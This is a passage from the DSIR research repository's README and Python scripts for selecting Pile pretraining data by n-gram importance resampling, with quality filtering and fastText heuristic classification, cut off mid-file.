requirements.txt` 2. Download The Pile to `PILE_PATH` and change the corresponding variables in `config.sh`. 3. Run preprocessing on The Pile: Run `bash preprocessing/run_slurm.sh`. You can also run `bash preprocessing/run.sh` directly using the arguments in `preprocessing/run_slurm.sh`. This only needs to be run once. 4. Precompute quality filter stats: Run `bash preprocessing/quality_scores/run_slurm_quality_stats.sh`. After this, run `bash preprocessing/quality_scores/run_merge_quality_scores.sh`. This only needs to be run once. (We're working on streamlining steps 3 and 4. Stay tuned!) 5. Run DSIR: For an example, run `bash data_selection/run_cmds.sh`. For new target datasets, some information about which fields in the dataset to use should be placed in the `dsname_to_args` dictionary at the top of the `data_selection/dsir_pipeline.py` file. If you wish to retrieve from custom subsets of the Pile (for example, only select data from one chunk of the Pile), you will need to tweak one part of the code, in the main part of the script (an example is provided of how to do so as a comment). Many of the steps in DSIR can be cached and will only run the first time. For example, resampling a different number of examples with the same target dataset uses cached importance weights. ## Code for pretraining and GLUE evaluation We provide scripts for training BERT-style masked language models on the selected data and evaluating it on GLUE in the `train` and `glue_eval` directories, respectively. All code should be run from the `experimental/` directory. 1. Install further dependencies using `train/requirements.txt`: `pip install -r train/requirements.txt` 2. Change the `PRETRAIN_OUTPUT_DIR` variable in `config.sh`. 3. Write a job command in `train/run_slurm.sh`. An example command in this file. You will need to change the path to the training data. If you want to skip preprocessing (if it's already done), set the first of two boolean variables to `false`. By setting both to `true`, there will be two jobs launched: one for preprocessing and one for pretraining. The pretraining job should take about 50 hours on 4 RTX 3090 GPUs. Kick off the jobs by running `bash train/run_slurm.sh`. 4. Evaluate the trained model by editing the evaluation job command in `glue_eval/run_eval_exps.sh` with the path to the model checkpoint. This script runs 5 seeds for each GLUE dataset. The results and finetuned models will be saved a new `finetune_runs` directory inside the pretrained model checkpoint directory. Kick off the jobs by running `bash glue_exps/run_eval_exps.sh`. 5. Read the GLUE results by running `python read_glue_results.py --results_dir /finetune_runs` in the `glue_eval` directory. ## Pre-filtered datasets Note: previous versions of the datasets had a small validation and test split (50000 examples each), but we concatenated these onto the end of the train set (in the order validation, then test) to better align with the paper. The datasets should be further shuffled during preprocessing before training. ### DSIR-filtered-pile-50M - Target distribution: Wikipedia, BookCorpus2 - Selection method: DSIR (with importance resampling on hashed n-gram model importance weights) - Raw dataset: The Pile - Size: 80GB, 51.2M examples - Used for 128-token context models in the paper. Suitable for token length 512 or 1024, but can be used for shorter token lengths. - The dataset contains 51.2M examples, most of which are selected from Pile subsets that are not Wikipedia or books-related (BookCorpus2, Books3, Gutenberg). 4% of the data is randomly selected from Wikipedia and books-related subsets. Every example concatenates 2 snippets, possibly from different sources, to ensure that the examples are long enough for longer context models (512 or 1024 tokens). Metadata about which sources the text comes from is included with every example. - Available on HuggingFace at https://huggingface.co/datasets/stanford-crfm/DSIR-filtered-pile-50M. Use with HuggingFace Datasets: ```python from datasets import load_dataset dataset = load_dataset("stanford-crfm/DSIR-filtered-pile-50M") ``` ### heuristic_classification-filtered-pile-50M - Target distribution: Wikipedia, BookCorpus2 - Selection method: Heuristic classification (FastText binary classifier) - Raw dataset: The Pile - Size: 80GB, 51.2M examples - Used for 128-token context length models in the paper. Suitable for token length 512 or 1024, but can be used for shorter token lengths - The dataset contains 51.2M examples, most of which are selected from Pile subsets that are not Wikipedia or books-related (BookCorpus2, Books3, Gutenberg). 4% of the data is randomly selected from Wikipedia and books-related subsets. Every example concatenates 2 snippets, possibly from different sources, to ensure that the examples are long enough for longer context models (512 or 1024 tokens). Metadata about which sources the text comes from is included with every example. - Available on HuggingFace at https://huggingface.co/datasets/stanford-crfm/heuristic_classification-filtered-pile-50M. Use with HuggingFace Datasets: ```python from datasets import load_dataset dataset = load_dataset("stanford-crfm/heuristic_classification-filtered-pile-50M") ``` - Comparisons for training BERT-base models from scratch (50k steps, 128 max token length, 4096 batch size): | GLUE dev | MNLI | QNLI | QQP | RTE | SST2 | MRPC | CoLA | STSB | Avg | |---------------------------------------------------|------:|------:|------:|------:|------:|------:|------:|------:|------:| | Random selection from The Pile | 82.63 | 86.9 | 89.57 | 67.37 | 90.05 | 87.40 | 49.41 | 88.63 | 80.25 | | Heuristic classification (GPT-3/Pile/PaLM method) | 82.69 | 85.95 | 89.77 | 68.59 | 88.94 | 86.03 | 48.17 | 88.62 | 79.85 | | DSIR | 83.07 | 89.11 | 89.80 | 75.09 | 90.48 | 87.70 | 54.00 | 89.17 | 82.30 | ## Pretrained models In the table below, `{dataset}` can be replaced with one of `{ag, amazon, citation_intent, hyp, imdb, sciie, chemprot, rct-20k}` for the continued pretraining models. | HuggingFace ID | Link | Dataset size | Max token length | Training steps | Architecture | Initialization | Description | |---|---|---|---|---|---|---|---| | dsir-bert-scratch-wiki_and_books | [Link](https://huggingface.co/sangmichaelxie/dsir-bert-scratch-wiki_and_books) | 6.5B tokens (51.2M examples) | 128 | 5.00E+04 | bert-base-uncased | scratch | BERT model trained on [DSIR-filtered-pile-50M](https://huggingface.co/datasets/stanford-crfm/DSIR-filtered-pile-50M/viewer/default/train?p=31445&row=3144531) | | heuristiccls-bert-scratch-wiki_and_books | [Link](https://huggingface.co/sangmichaelxie/heuristiccls-bert-scratch-wiki_and_books) | 6.5B tokens (51.2M examples) | 128 | 5.00E+04 | bert-base-uncased | scratch | BERT model trained on Pile data filtered by heuristic classification | | randomselect-bert-scratch | [Link](https://huggingface.co/sangmichaelxie/randomselect-bert-scratch) | 6.5B tokens (51.2M examples) | 128 | 5.00E+04 | bert-base-uncased | scratch | BERT model trained on random subset of The Pile | | dsir-roberta-continuedpretrain-{dataset} | Link format: `https://huggingface.co/sangmichaelxie/dsir-roberta-continuedpretrain-{dataset}` | 6.4B tokens (25M examples) | 256 | 25000 | roberta-base | roberta-base | RoBERTa model with continued pretraining on data selected by DSIR with target={dataset} | | heuristiccls-roberta-continuedpretrain-{dataset} | Link format: `https://huggingface.co/sangmichaelxie/dsir-roberta-continuedpretrain-{dataset}` | 6.4B tokens (25M examples) | 256 | 25000 | roberta-base | roberta-base | RoBERTa model with continued pretraining on data selected by heurstic classification with target={dataset} | | randomselect-roberta-continuedpretrain | [Link](https://huggingface.co/sangmichaelxie/randomselect-roberta-continuedpretrain) | 6.4B tokens (25M examples) | 256 | 25000 | roberta-base | roberta-base | RoBERTa model with continued pretraining on random subset of The Pile | ## Citation Information Paper: ``` @article{xie2023data, author = {Sang Michael Xie and Shibani Santurkar and Tengyu Ma and Percy Liang}, journal = {arXiv preprint arXiv:2302.03169}, title = {Data Selection for Language Models via Importance Resampling}, year = {2023}, } ``` ================================================ FILE: experimental/config.sh ================================================ #!/bin/bash CACHE='/path/to/cachedir' ROOT_DIR='/path/to/dsir/experimental' VIRTUAL_ENV='/path/to/.env' PILE_PATH='/path/to/pile' DSIR_OUTPUT_DIR='/path/to/outputdir' PRETRAIN_OUTPUT_DIR='/path/to/model_outputdir' WORD_VECTORS_PATH='/path/to/pretrained_fasttext_wordvecs.vec' # Slurm cluster_info='--partition ' source ${VIRTUAL_ENV}/bin/activate ================================================ FILE: experimental/data_selection/dsir_general/data_selection.py ================================================ from pathlib import Path import argparse import random import shutil from json import loads, dumps from tqdm import tqdm from datasets import load_dataset from glob import glob from multiprocessing import Pool, cpu_count import numpy as np from utils import * from time import time import os def compute_ngrams_raw(args, in_path: str, cache_path: Path): file_name = in_path.split("/")[-1] save_path = cache_path / f'{file_name}_{args.ngrams}grams_buckets_{args.num_buckets}_all.npy' if not save_path.exists(): num_docs = 0 st = time() counts = np.zeros(args.num_buckets).astype(int) with open(in_path, 'r') as f: for line in f: ex = loads(line) num_docs += 1 if num_docs % 10000 == 0: speed = num_docs / (time() - st) print(num_docs, file_name, speed) line = ex["text"] curr_count = get_ngram_info(line, n=args.ngrams, num_buckets=args.num_buckets) counts = counts + curr_count np.save(str(save_path), counts) else: counts = np.load(str(save_path)) print(file_name, "done!") return counts def compute_importance_weights(args, in_path: str): file_name = in_path.split("/")[-1] out_dir = Path(args.out_path) / f'logratio_{args.ngrams}grams_buckets_{args.num_buckets}' out_dir.mkdir(parents=True, exist_ok=True) save_path = out_dir / f'{file_name}.npy' if not save_path.exists(): logratios = [] st = time() num_docs = 0 with open(in_path, 'r') as f: for line in f: ex = loads(line) line = ex["text"] num_docs += 1 if num_docs % 10000 == 0: speed = num_docs / (time() - st) print(num_docs, file_name, speed) curr_count = get_ngram_info(line, n=args.ngrams, num_buckets=args.num_buckets) logratio = np.inner(curr_count, args.log_diff_dist) logratios.append(logratio) logratios = np.asarray(logratios) np.save(str(save_path), logratios) else: logratios = np.load(str(save_path)) print(file_name, "log ratio done!") return logratios def resample(args, data_files, cache_ds_dir, streaming=False): retrieved_dir = args.out_path / f'retrieved' retrieved_path_cache = cache_ds_dir / f'retrieved_{args.num_to_retrieve}.jsonl' retrieved_dir.mkdir(parents=True, exist_ok=True) retrieved_path = retrieved_dir / f'{args.ds_name}_{args.target_ds_name}_retrieved_{args.num_to_retrieve}.jsonl' # merge logratio chunks logratios_file = retrieved_dir / 'logratios.npy' if not logratios_file.exists(): logratios = [] chunk_dir = f'{args.out_path}/logratio_{args.ngrams}grams_buckets_{args.num_buckets}' all_logratio_files = sorted(glob(f"{chunk_dir}/*.npy")) for curr_logratio_file in all_logratio_files: logratios.append(np.load(str(curr_logratio_file))) logratios = np.concatenate(logratios) np.save(logratios_file, logratios) else: logratios = np.load(logratios_file) print("logratios cnt", len(logratios)) # noise the logratios logratios += np.random.gumbel(size=len(logratios)) # choose top k chosen_idxs = np.argpartition(-logratios, args.num_to_retrieve)[:args.num_to_retrieve] global_mask = np.zeros(len(logratios)).astype(bool) global_mask[chosen_idxs] = True del nonzero_idxs del chosen_idxs del logratios print("Loading data...") # data_files = sorted(glob(f"{args.data_pool_path}/*.jsonl")) if not streaming: combined_streaming_ds = [] for f_name in data_files: with open(f_name, "r") as f: combined_streaming_ds.extend(f.read().splitlines()) print("data line cnt", len(combined_streaming_ds)) assert len(combined_streaming_ds) == len(global_mask) with open(retrieved_path_cache, 'w') as fout: for i, curr_ex in tqdm(enumerate(combined_streaming_ds)): if global_mask[i]: fout.write(curr_ex.strip() + '\n') else: combined_streaming_ds = load_dataset( 'json', data_files=data_files, streaming=True)["train"] with open(retrieved_path_cache, 'w') as fout: for i, curr_ex in tqdm(enumerate(combined_streaming_ds)): # curr_ex["timestamp"] = curr_ex["timestamp"].strftime("%m/%d/%Y, %H:%M:%S") if global_mask[i]: fout.write(dumps(curr_ex) + "\n") shutil.move(retrieved_path_cache, retrieved_path) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Data selection with DSIR') parser.add_argument('--data_pool_path', default="", type=str, help='path to data pool') parser.add_argument('--ds_name', default="data pool", type=str, help='pretraining dataset name') parser.add_argument('--target_path', default="", type=str, help='path to target data') parser.add_argument('--target_ds_name', default="target data", type=str, help='target dataset name') parser.add_argument('--output_dir', default="", type=str, help='output path') parser.add_argument('--num_to_retrieve', type=int, default=200000, help='Number of examples to retrieve') parser.add_argument('--cache_dir', default="", type=str, help='cache directory for datasets') parser.add_argument('--ngrams', type=int, default=3, help='N in N-grams. 2 means both unigram and bigram.') parser.add_argument('--num_buckets', type=int, default=10000, help='number of ngram hash buckets') parser.add_argument('--pipeline_step', default="resample", type=str, help='which step of pipeline to run. (importance_weights, resample)') args = parser.parse_args() random.seed(42) print("PYTHONHASHSEED", os.environ.get('PYTHONHASHSEED')) cache_ds_dir = Path(args.cache_dir) / 'ngram_cache' / args.ds_name cache_ds_dir.mkdir(exist_ok=True, parents=True) cache_target_dir = Path(args.cache_dir) / 'ngram_cache' / args.target_ds_name cache_target_dir.mkdir(exist_ok=True, parents=True) args.out_path = Path(args.output_dir) / args.target_ds_name / args.ds_name args.out_path.mkdir(exist_ok=True, parents=True) ds_in_paths = sorted(glob(f"{args.data_pool_path}/*")) target_in_paths = sorted(glob(f"{args.target_path}/*")) with Pool(cpu_count()) as p: ds_all_args = [(args, in_path, cache_ds_dir) for in_path in ds_in_paths] ds_ngram_dist = p.starmap(compute_ngrams_raw, ds_all_args) target_all_args = [(args, in_path, cache_target_dir) for in_path in target_in_paths] target_ngram_dist = p.starmap(compute_ngrams_raw, target_all_args) for i in range(1, len(ds_ngram_dist)): ds_ngram_dist[0] = ds_ngram_dist[0] + ds_ngram_dist[i] ds_ngram_dist[i] = None ds_ngram_dist = ds_ngram_dist[0] ds_ngram_dist = ds_ngram_dist / ds_ngram_dist.sum() for i in range(1, len(target_ngram_dist)): target_ngram_dist[0] = target_ngram_dist[0] + target_ngram_dist[i] target_ngram_dist[i] = None target_ngram_dist = target_ngram_dist[0] target_ngram_dist = target_ngram_dist / target_ngram_dist.sum() print(ds_ngram_dist) print(target_ngram_dist) args.log_diff_dist = np.log(target_ngram_dist + 1e-8) - np.log(ds_ngram_dist + 1e-8) with Pool(cpu_count()) as p: importance_weights_args = [(args, in_path) for in_path in ds_in_paths] importance_weights = p.starmap(compute_importance_weights, importance_weights_args) resample(args, ds_in_paths, cache_ds_dir) ================================================ FILE: experimental/data_selection/dsir_general/run_data_selection.py ================================================ import subprocess import os environment = dict(os.environ, PYTHONHASHSEED='42') subprocess.run(["python", "data_selection.py"], env=environment) ================================================ FILE: experimental/data_selection/dsir_general/utils.py ================================================ from nltk.tokenize import WordPunctTokenizer from nltk import ngrams from nltk.tokenize import word_tokenize from collections import Counter import nltk import numpy as np import subprocess from nltk.corpus import stopwords import string nltk.download('stopwords') def hash_buckets(text, num_buckets=1e4): return int(abs(hash(text)) % num_buckets) wpt = WordPunctTokenizer() def get_ngram_info(line, n=2, num_buckets=10000): words = wpt.tokenize(line.lower()) # words = line.lower().split() counts = np.zeros(num_buckets, dtype=int) for w in words: counts[hash_buckets(w, num_buckets=num_buckets)] += 1 for i in range(2, n + 1): for ng in list(ngrams(words, i)): counts[hash_buckets(ng, num_buckets=num_buckets)] += 1 return counts def linecount(filename): out = subprocess.Popen(['wc', '-l', filename], stdout=subprocess.PIPE).communicate()[0] return int(out.strip().partition(b' ')[0]) stop = set(stopwords.words('english') + list(string.punctuation)) numeric = set(list(string.digits)) def transform_text(text): return word_tokenize(text.lower()) def repeating_filter(x_tok, n=1): if len(x_tok) == 0: return 0 counts = Counter(x_tok) if n == 1: ratio = (max(counts.values()) / len(x_tok)) else: ratio = sum(sorted(counts.values(), reverse=True)[:n]) / len(x_tok) return ratio def mostly_uninformative_filter(x_tok): if len(x_tok) == 0: return 0 informative_ratio = (len([x for x in x_tok if x not in stop]) / len(x_tok)) return informative_ratio def numeric_filter(x_tok): if len(x_tok) == 0: return 0 ratio = (len([x for x in x_tok if x not in numeric]) / len(x_tok)) return ratio ================================================ FILE: experimental/data_selection/dsir_pipeline.py ================================================ from pathlib import Path from itertools import zip_longest import random import argparse import json import shutil from collections import defaultdict import subprocess from itertools import islice from tqdm import tqdm from nltk.tokenize import WordPunctTokenizer import numpy as np from datasets import load_dataset import logging logging.basicConfig(level=logging.INFO) # Place information about datasets in the dict below. # The columns field is a list of columns to use for DSIR. dsname_to_args = { 'ag_news': {'dataset_name': 'yxchar/ag-tlm', 'task_name': None, 'columns': ['text'], }, 'chemprot': {'dataset_name': "yxchar/chemprot-tlm", 'task_name': None, 'columns': ['text']}, 'citation_intent': {'dataset_name': "yxchar/citation_intent-tlm", 'task_name': None, 'columns': ['text']}, 'hyperpartisan': {'dataset_name': "yxchar/hyp-tlm", 'task_name': None, 'columns': ['text']}, 'rct': {'dataset_name': "yxchar/rct-20k-tlm", 'task_name': None, 'columns': ['text']}, 'imdb': {'dataset_name': 'yxchar/imdb-tlm', 'task_name': None, 'columns': ['text']}, 'sciie': {'dataset_name': 'yxchar/sciie-tlm', 'task_name': None, 'columns': ['text']}, 'helpfulness': {'dataset_name': 'yxchar/amazon-tlm', 'task_name': None, 'columns': ['text']}, 'pile_val': {'dataset_name': 'json', 'task_name': None, # to be set later 'quality_scores': None, # to be set later 'columns': ['contents'], }, 'pile': {'dataset_name': 'json', 'task_name': None, # to be set later 'quality_scores': None, # to be set later 'columns': ['contents'], 'total_lines': 1745766302, }, } subsets = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29'] def get_quality_mask(quality_scores): keep = ( (quality_scores['length'] > 40) & (quality_scores['length'] < 500) & (quality_scores['repeating_ratio'] > 0.02) & (quality_scores['repeating_ratio'] < 0.2) & (quality_scores['informative_ratio'] > 0.3) & (quality_scores['informative_ratio'] < 0.7) & (quality_scores['numeric_ratio'] > 0.8) ) return keep def hash_buckets(string, num_buckets=10e4): return int(abs(hash(string)) % num_buckets) def unigrams_bigrams(text): words = text.split() return words, list(zip(words, islice(words, 1, None))) wpt = WordPunctTokenizer() def get_ngram_info(line, n=2, num_buckets=10000): words = wpt.tokenize(line.lower()) unigrams, bigrams = words, list(zip(words, islice(words, 1, None))) counts = np.zeros(num_buckets, dtype=int) for unigram in unigrams: counts[hash_buckets(unigram, num_buckets=num_buckets)] += 1 for bigram in bigrams: counts[hash_buckets(bigram, num_buckets=num_buckets)] += 1 return counts def grouper(iterable, n, *, incomplete='fill', fillvalue=None): "Collect data into non-overlapping fixed-length chunks or blocks" # grouper('ABCDEFG', 3, fillvalue='x') --> ABC DEF Gxx # grouper('ABCDEFG', 3, incomplete='strict') --> ABC DEF ValueError # grouper('ABCDEFG', 3, incomplete='ignore') --> ABC DEF args = [iter(iterable)] * n if incomplete == 'fill': return zip_longest(*args, fillvalue=fillvalue) if incomplete == 'strict': return zip(*args, strict=True) if incomplete == 'ignore': return zip(*args) else: raise ValueError('Expected fill, strict, or ignore') def compute_ngrams_hf(ds_name, ds_dir, cache_dir, ngrams, num_buckets): ds_dir = Path(ds_dir) save_path = ds_dir / f'{ds_name}_ngramcounts.npy' if not save_path.exists(): config = dsname_to_args[ds_name] text_cols = config["columns"] logging.info(f"{text_cols}") if ds_name == 'dbpedia': ds = load_dataset(config["dataset_name"], data_files=config["task_name"], cache_dir=cache_dir, download_mode='force_redownload') else: ds = load_dataset(config["dataset_name"], config["task_name"], cache_dir=cache_dir) counts = np.zeros(num_buckets).astype(int) for i, ex in tqdm(enumerate(ds['train']), miniters=10000, maxinterval=1000000): line = " ".join([ex[c] for c in text_cols]) curr_count = get_ngram_info(line, n=ngrams) counts = counts + curr_count np.save(save_path, counts) else: counts = np.load(save_path) return counts def compute_ngrams_pile( path, ngrams=2, num_buckets=10000, filter_domains=None, cache_dir=None): path_parent = Path(path).parent if filter_domains is None: save_path = path_parent / f'ngrams{ngrams}_buckets{num_buckets}_nofilter.npy' else: filter_domains_str = '_'.join(filter_domains) save_path = path_parent / f'ngrams{ngrams}_buckets{num_buckets}_{filter_domains_str}.npy' if not save_path.exists(): counts = np.zeros(num_buckets).astype(int) num_docs = 0 with open(path, 'r') as f: for k, line in tqdm(enumerate(f), miniters=1000000, maxinterval=1000000): ex = json.loads(line) domain = ex["metadata"]["pile_set_name"] if filter_domains is not None and domain not in filter_domains: continue num_docs += 1 line = ex["contents"] curr_count = get_ngram_info(line, n=ngrams) counts = counts + curr_count np.save(save_path, counts) else: counts = np.load(save_path) return counts def compute_importance_weights( path, ds_dir, chunk_idx, target_dist, pile_dist, ngrams=2, num_buckets=10000): chunk_dir = Path(ds_dir) / f'logratio_chunks_ngrams{ngrams}_buckets{num_buckets}' chunk_dir.mkdir(parents=True, exist_ok=True) save_path = chunk_dir / f'{chunk_idx}.npy' log_diff_dist = np.log(target_dist + 1e-8) - np.log(pile_dist + 1e-8) if not save_path.exists(): logratios = [] with open(path, 'r') as f: for k, line in tqdm(enumerate(f), miniters=1000000, maxinterval=1000000): ex = json.loads(line) line = ex["contents"] curr_count = get_ngram_info(line, n=ngrams) logratio = np.inner(curr_count, log_diff_dist) logratios.append(logratio) logratios = np.asarray(logratios) np.save(save_path, logratios) else: logratios = np.load(save_path) return logratios def compute_domain_idxs(filter_domains): # path to outer directory ds_path = Path(dsname_to_args['pile']['task_name'][0]).parent.parent domain_to_idxs = defaultdict(list) todo_domains = [] for domain in filter_domains: domain_idxs_path = ds_path / f"{domain.replace(' ', '_')}_idxs.npy" if not domain_idxs_path.exists(): todo_domains.append(domain) combined_streaming_ds = load_dataset( 'json', data_files=dsname_to_args['pile']['task_name'], streaming=True)['train'] todo_domains = set(todo_domains) if len(todo_domains) > 0: for i, ex in tqdm(enumerate(combined_streaming_ds), miniters=1000000): domain = ex["metadata"]["pile_set_name"] if domain in todo_domains: domain_to_idxs[domain].append(i) for domain, idxs in domain_to_idxs.items(): np.save(ds_path / f"{domain.replace(' ', '_')}_idxs.npy", np.asarray(idxs)) for domain in filter_domains: domain_idxs_path = ds_path / f"{domain.replace(' ', '_')}_idxs.npy" domain_idxs = np.load(domain_idxs_path) domain_to_idxs[domain] = domain_idxs return domain_to_idxs def resample(ds_dir, cache_ds_dir, num_to_retrieve): if args.pack_every_2_examples: suffix = '_pack' else: suffix = '_nopack' retrieved_dir = ds_dir / 'retrieved' retrieved_path_cache = cache_ds_dir / f'retrieved_{num_to_retrieve}{suffix}.jsonl' retrieved_dir.mkdir(parents=True, exist_ok=True) retrieved_path = retrieved_dir / f'retrieved_{num_to_retrieve}{suffix}.jsonl' total_lines = dsname_to_args['pile']['total_lines'] if args.qualityfilter: quality_scores = np.load(dsname_to_args['pile']['quality_scores']) global_mask = get_quality_mask(quality_scores) if args.ds_name == 'wiki_and_books': # compute the wikipedia and book masks and filter out filter_domains = ['Wikipedia (en)', 'BookCorpus2', 'Books3', 'Gutenberg (PG-19)'] domain_to_idxs = compute_domain_idxs(filter_domains) for domain, idxs in domain_to_idxs.items(): # ignore wiki and books during retrieval mask = np.ones(total_lines).astype(bool) mask[idxs] = False global_mask = global_mask & mask # merge logratio chunks logratios_file = retrieved_dir / 'logratios.npy' chunk_dir = Path(ds_dir) / f'logratio_chunks_ngrams{args.ngrams}_buckets{args.num_buckets}' if not logratios_file.exists(): logratios = [] for i in subsets: curr_logratios_file = chunk_dir / f'{i}.npy' logratios.append(np.load(curr_logratios_file)) logratios = np.concatenate(logratios) np.save(logratios_file, logratios) else: logratios = np.load(logratios_file) assert(len(logratios) == total_lines) # noise the logratios logratios = logratios[global_mask] logratios += np.random.gumbel(size=len(logratios)) nonzero_idxs = np.where(global_mask)[0] # choose top k chosen_idxs = np.argpartition(-logratios, num_to_retrieve)[:num_to_retrieve] chosen_idxs = nonzero_idxs[chosen_idxs] if args.ds_name == 'wiki_and_books': # add in some wikipedia and bookcorpus all_domain_idxs = [] for domain, idxs in domain_to_idxs.items(): # add 2 million from each domain (1million packed) if domain == 'Wikipedia (en)': num_to_add = 2000000 else: num_to_add = 2000000 // 3 np.random.shuffle(idxs) domain_chosen_idxs = idxs[:num_to_add] all_domain_idxs.append(domain_chosen_idxs) chosen_idxs = np.concatenate([chosen_idxs] + all_domain_idxs) global_mask = np.zeros(len(global_mask)).astype(bool) global_mask[chosen_idxs] = True del logratios del nonzero_idxs del chosen_idxs combined_streaming_ds = load_dataset( 'json', data_files=dsname_to_args['pile']['task_name'], streaming=True)['train'] prev_ex = None with open(retrieved_path_cache, 'w') as fout: for i, curr_ex in tqdm(enumerate(combined_streaming_ds), miniters=1000000, total=total_lines): if global_mask[i]: if args.pack_every_2_examples and prev_ex is not None: prev_ex['contents'] += curr_ex['contents'] prev_ex['metadata']['pile_set_name'] = [ prev_ex['metadata']['pile_set_name'], curr_ex['metadata']['pile_set_name']] fout.write(json.dumps(prev_ex).strip() + '\n') prev_ex = None elif args.pack_every_2_examples and prev_ex is None: prev_ex = curr_ex else: fout.write(json.dumps(curr_ex).strip() + '\n') shutil.move(retrieved_path_cache, retrieved_path) def linecount(filename): out = subprocess.Popen(['wc', '-l', filename], stdout=subprocess.PIPE).communicate()[0] return int(out.strip().partition(b' ')[0]) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Data selection with DSIR') parser.add_argument('--pile_path', type=str, help='path to pile') parser.add_argument('--ds_name', type=str, help='dataset name') parser.add_argument('--output_dir', type=str, help='output path') parser.add_argument('--num_to_retrieve', type=int, default=25600000, help='Number of examples to retrieve') parser.add_argument('--cache_dir', type=str, help='cache directory for datasets') parser.add_argument('--num_proc', type=int, help='number of threads') parser.add_argument('--overwrite', action='store_true', help='Overwrite importance weights') parser.add_argument('--overwrite_preprocess', action='store_true', help='overwrite data preprocessing') parser.add_argument('--ngrams', type=int, default=2, help='N in N-grams. 2 means both unigram and bigram.') parser.add_argument('--num_buckets', type=int, default=10000, help='number of ngram hash buckets') parser.add_argument('--pipeline_step', type=str, help='which step of pipeline to run. (imporance_weights, resample)') parser.add_argument('--chunk_idx', type=str, default='01', help='which chunk of prediction') parser.add_argument('--num_chunks', type=int, default=29, help='Number of chunks') parser.add_argument('--qualityfilter', action='store_true', help='whether to implement quality filtering') parser.add_argument('--pack_every_2_examples', action='store_true', help='whether to pack two examples together to get longer examples') args = parser.parse_args() random.seed(121) chunked_dir = 'chunked' dsname_to_args['pile_val'].update( {'task_name': [f'{args.pile_path}/{chunked_dir}/VAL_128/val_128.json'], 'quality_scores': f'{args.pile_path}/{chunked_dir}/VAL_128/val_128.json_qualityscores.npz'} ) # XXX: if using fewer subsets of the Pile, please change the subsets list and the total_lines variable. # We provde an example below (note that using linecount can take a long time for large numbers of subsets - we suggest running this once and hardcoding the number): # subsets = ['00'] # total_lines = sum([linecount(f'{args.pile_path}/{chunked_dir}/{subset}_128/{subset}_128.json') for subset in subsets]) # dsname_to_args['pile']['total_lines'] = total_lines dsname_to_args['pile'].update( {'task_name': [f'{args.pile_path}/{chunked_dir}/{subset}_128/{subset}_128.json' for subset in subsets], 'quality_scores': f'{args.pile_path}/{chunked_dir}/combined_all.json_qualityscores.npz'} ) cache_ds_dir = Path(args.cache_dir) / 'ngram_cache' / args.ds_name cache_ds_dir.mkdir(exist_ok=True, parents=True) ds_dir = Path(args.output_dir) / args.ds_name ds_dir.mkdir(exist_ok=True, parents=True) if args.ds_name == 'wiki_and_books': filter_domains = {'Wikipedia (en)', 'BookCorpus2'} ds_ngram_dist = compute_ngrams_pile( path=dsname_to_args['pile_val']['task_name'][0], ngrams=args.ngrams, num_buckets=args.num_buckets, filter_domains=filter_domains, ) ds_ngram_dist = ds_ngram_dist / ds_ngram_dist.sum() else: ds_ngram_dist = compute_ngrams_hf(args.ds_name, ds_dir, cache_ds_dir, ngrams=args.ngrams, num_buckets=args.num_buckets) ds_ngram_dist = ds_ngram_dist / ds_ngram_dist.sum() pile_dist = compute_ngrams_pile( path=dsname_to_args['pile_val']['task_name'][0], ngrams=args.ngrams, num_buckets=args.num_buckets, ) pile_dist = pile_dist / pile_dist.sum() if args.pipeline_step == 'importance_weights': _ = compute_importance_weights( path=f"{args.pile_path}/{chunked_dir}/{args.chunk_idx}_128/{args.chunk_idx}_128.json", ds_dir=ds_dir, chunk_idx=args.chunk_idx, target_dist=ds_ngram_dist, pile_dist=pile_dist, ngrams=args.ngrams, num_buckets=args.num_buckets, ) elif args.pipeline_step == 'resample': resample(ds_dir, cache_ds_dir, args.num_to_retrieve) ================================================ FILE: experimental/data_selection/heuristic_cls_pipeline.py ================================================ from pathlib import Path import os import random import argparse import json import shutil from multiprocessing import Pool from collections import defaultdict from tqdm import tqdm from nltk import word_tokenize import numpy as np from datasets import load_dataset import fasttext from dsir_pipeline import ( dsname_to_args, subsets, get_quality_mask, linecount, ) def transform_text(text): return ' '.join(word_tokenize(text.lower())) def batch_process(e, text_cols, label_col, fixed_label=None): sent = ' '.join([e[col] for col in text_cols]) if fixed_label is not None: label = fixed_label else: label = e[label_col] sent = transform_text(sent) text = f'__label__{label} , {sent}' return {'text': text} def reformat_dataset(ds_name, output_dir, cache_dir, num_proc=10, fixed_label=None, filter_domains=None): if args.qualityfilter and ds_name == 'pile': if filter_domains is not None: ds_output_dir = Path(output_dir) / (ds_name + '_qf_wikiandbooks') else: ds_output_dir = Path(output_dir) / (ds_name + '_qf') ds_output_dir.mkdir(exist_ok=True) quality_scores = np.load(dsname_to_args['pile']['quality_scores']) quality_mask = get_quality_mask(quality_scores) else: ds_output_dir = Path(output_dir) / ds_name ds_output_dir.mkdir(exist_ok=True) config = dsname_to_args[ds_name] text_cols, label_col = config["columns"], config["label"] print(text_cols, label_col) if ds_name != 'pile': ds = load_dataset(config["dataset_name"], config["task_name"], cache_dir=cache_dir) else: ds = load_dataset(config["dataset_name"], data_files=config["task_name"], cache_dir=cache_dir) for split in ds: print(split) if (ds_output_dir / f"{split}.txt").exists() and not args.overwrite_preprocess: continue split_ds = ds[split] column_names = list(iter(split_ds).__next__().keys()) if ds_name == 'pile': column_names = [c for c in column_names if c != 'metadata'] with open(f'{ds_output_dir}/{split}.txt', 'w') as f: for i, ex in tqdm(enumerate(split_ds)): if ds_name == 'pile': if args.qualityfilter: if not quality_mask[i]: continue domain = ex['metadata']['pile_set_name'] if filter_domains is not None and domain not in filter_domains: continue sent = ' '.join([ex[col] for col in text_cols]) if fixed_label is not None: label = fixed_label else: label = ex[label_col] sent = transform_text(sent) text = f'__label__{label} , {sent}' f.write(json.dumps({'text': text}) + '\n') return ds_output_dir def replace_label(line, label): toks = line.split() new_label = '__label__' + str(label) rest = ' '.join(toks[2:]) return f"{new_label} , {rest}" def mix_dataset(ds_dir, pile_val_dir): """Interleave 2 datasets for fasttext classification: the target dataset ds_dir and the pile validation set""" ds_dir = Path(ds_dir) ds2_path = pile_val_dir / "train.txt" split = 'train' mixed_path_train = ds_dir / 'mixed-train.txt' mixed_path_val = ds_dir / 'mixed-val.txt' mixed_path_train_cache = cache_ds_dir / 'mixed-train.txt' mixed_path_val_cache = cache_ds_dir / 'mixed-val.txt' if args.qualityfilter: mixed_path_train = 